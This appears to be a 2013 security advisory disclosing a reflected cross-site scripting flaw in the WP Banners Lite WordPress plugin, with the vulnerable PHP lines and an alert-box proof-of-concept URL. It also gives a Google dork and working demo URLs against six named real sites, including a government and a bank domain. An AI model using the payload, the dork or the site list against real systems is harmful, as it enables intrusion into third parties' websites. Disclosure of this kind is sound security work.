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WP Banners Lite 1.40 Cross Site Scripting

WP Banners Lite 1.40 Cross Site Scripting
Posted Mar 25, 2013
Authored by Zerial

WordPress Banners Lite third party plugin versions 1.40, 1.31, and 1.29 suffer from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | f84aab438dea368c84895e35221d0f2a92675a6dd8c837c8c8ab87b3b72b0d98

WP Banners Lite 1.40 Cross Site Scripting

Change Mirror Download
I. Background
--------------
[-] Affected plugin: WP Banners Lite
[-] Plugin Description: The plugin easily allows you to manage ad
banners on your site.
[-] Plugin URL: http://wordpress.org/extend/plugins/wp-banners-lite/
[-] Tested Version: 1.29, 1.31, 1.40
[-] Reported: YES - but no answer
[-] Report Date: 03/12/13
[-] Published:
http://blog.zerial.org/seguridad/vulnerabilidad-en-plugin-para-wordpress-afecta-a-mas-de-200-sitios/


II. Details
------------
Cross-Site Scripting flaw discovered on WP-Banners-Lite.

The problem is wpbanners_show.php, at lines 8 and 9, the developer
doesn't filter correctly the variable called "cid" obtained from URL
(Method GET). He obtains "cid" from URL, do a str_replace to remove '
and then he print it.

[+] File: wpbanners_show.php
[-] Line 8: $cid = $_GET["cid"];
[-] Line 9: $cid = str_replace("'", "", $cid);
[-] Line 51: echo 'jQuery(\'#'.$cid.'\').replaceWith(\''.$banner.'\')';

Then, we can inject our own html or javascript code.

III. Exploit
-------------
The vulnerability can be exploited by injecting html or javascript
code as following:

http://localhost/wordpress/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_<script>alert(/XSS
Proof-of-Concept/)</script>

IV. URL around the world
-------------------------
[-] Google Dork: inurl:wp-banners-lite inurl:wpbanners_show filetype:php

Demo:

http://www.thexfactornews.co.uk/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=6&cid=a_8b2dfbe0c1d43f9537dae01e96458ff1%3Cscript%3Ealert%28/XSS/%29%3C/script%3E

http://www.forexlistings.net/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_dc09c97fd73d7a324bdbfe7c79525f64%3Cscript%3Ealert%28/XSS/%29%3C/script%3E

http://www.the-news.co/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_cf9a242b70f45317ffd281241fa66502%3Cscript%3Ealert%28/XSS/%29%3C/script%3E

http://web.casinodesalamanca.es/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=2&cid=a_505259756244493872b7709a8a01b536%3Cscript%3Ealert%28/XSS/%29%3C/script%3E

https://www.ironbank.com/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=4&cid=a_13b919438259814cd5be8cb45877d577%3Cscript%3Ealert%28/XSS/%29%3C/script%3E

http://www.defensa.gob.ec/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=3&cid=a_94ef7214c4a90790186e255304f8fd1f%3Cem%3Ea%3Cscript%3Ealert%28/XSS/%29%3C/script%3E


cheers,
--
Fernando A. Lagos Berardi
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial@jabberes.org


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